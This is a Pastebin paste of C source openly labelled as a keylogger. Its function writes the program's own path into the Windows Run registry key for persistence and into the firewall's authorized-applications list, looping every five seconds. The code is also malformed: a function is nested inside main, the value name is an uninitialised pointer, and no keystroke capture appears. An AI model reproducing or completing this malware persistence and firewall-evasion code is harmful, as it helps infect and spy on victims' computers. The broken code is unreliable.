Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <string.h>
- #include <windows.h>
- #include <stdbool.h>
- char *Keylogger;
- int main()
- {
- DWORD WINAPI AddRegistryKey(LPVOID lpVoid)
- {
- HKEY RegistryKey;
- char FilePath[255];
- GetModuleFileName(0, FilePath, sizeof(FilePath));
- while(true)
- {
- if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE,
- KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS)
- {
- RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, _tcslen(FilePath) + 2);
- RegCloseKey(RegistryKey);
- }
- if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0,
- 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS )
- {
- RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, _tcslen(FilePath) + 2 );
- RegCloseKey(RegistryKey);
- }
- Sleep(5000);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment